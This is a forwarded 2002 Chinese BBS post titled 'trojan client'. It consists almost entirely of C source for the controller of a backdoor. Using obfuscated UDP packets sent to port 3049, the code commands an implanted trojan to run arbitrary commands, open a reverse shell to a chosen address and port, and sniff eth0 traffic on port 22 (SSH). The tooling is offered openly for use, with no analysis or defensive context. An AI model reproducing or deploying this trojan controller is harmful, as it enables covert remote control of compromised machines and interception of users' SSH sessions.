荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: jjk (UNIX+C+XML+?? 傻了?), 信区: Linux
标  题: trojan client(转寄)[转载]
发信站: 荔园晨风BBS站 (Wed Apr 24 18:09:50 2002), 转信

【 以下文字转载自 jjk 的信箱 】
【 原文由 jjk.bbs@apue.dhs.org 所发表 】
发信人: lgx (lgx), 信区: CompSci
标  题: trojan client
发信站: UNIX编程 (Mon Apr 15 17:48:35 2002) , 转信

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

static double checksum(const unsigned char *buf,int buflen)
{
        register int i;
        double sum;

        for (i=0,sum=0.0; i < buflen; i++) {
                sum += (unsigned char)~((buf[i] << 4) + (buf[i] >> 4));
        }

        return sum/buflen;
}

static void transform(unsigned char *buf,int buflen)
{
        register int i;

        for (i=0; i<buflen; i++) {
                buf[i] = (buf[i] | 0xf) - (buf[i] & 0xf);
        }
}

static void exec_cmd(int s,const char *cmd)
{
        char buf[140],*data = &buf[12];
        double sum;

        memset(buf,0,140);
        strcpy(buf,"\x10\xea\xff\xbf");

        strncpy(data,cmd,127);

        transform(data,128);
        sum = checksum(data,128);
        memcpy(buf+4,&sum,sizeof(sum));

        send(s,buf,140,0);
}

static void reverse_shell(int s)
{
        char buf[140],*data = &buf[12];
        double sum;
        long addr,port;

        memset(buf,0,140);
        strcpy(buf,"\x21\x21\xaf\xbf");

        addr = inet_addr("127.0.0.1");
        memcpy(data,&addr,4);
        port = 6666;
        memcpy(data+4,&port,4);

        transform(data,128);
        sum = checksum(data,128);
        memcpy(buf+4,&sum,sizeof(sum));

        send(s,buf,140,0);
}

static void sniff_eth(int s)
{
        char buf[140],*data = &buf[12];
        double sum;
        long addr,port;
        int n = IPPROTO_TCP;

        memset(buf,0,140);
        strcpy(buf,"\x60\x3e\xff\xbf");

        //host[4] + port[4] + ifname[16] + port[4] + ascmode[1]

        addr = inet_addr("127.0.0.1");
        memcpy(data,&addr,4);
        port = 6666;
        memcpy(data+4,&port,4);
        strcpy(data+8,"eth0");
        memcpy(data+24,&n,4);
        n = 22;
        memcpy(data+28,&n,4);
        n = 1;
        memcpy(data+32,&n,4);

        transform(data,128);
        sum = checksum(data,128);
        memcpy(buf+4,&sum,sizeof(sum));

        send(s,buf,140,0);
}

int main(int argc,char **argv)
{
        int s;
        struct sockaddr_in host;

        if ((s = socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
                perror("socket");
                return -1;
        }
        host.sin_family = AF_INET;
        host.sin_port = htons(3049);
        host.sin_addr.s_addr = inet_addr("127.0.0.1");
        connect(s,(struct sockaddr*)&host,sizeof(host));

        //exec_cmd(s,argv[1]?:"touch /HACKERD");
        sniff_eth(s);

        close(s);
        return 0;
}


--
※ 来源:.UNIX编程WWW apue.dhs.org. [FROM: 211.100.81.1]
--
※ 转寄:·UNIX编程 apue.dhs.org·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店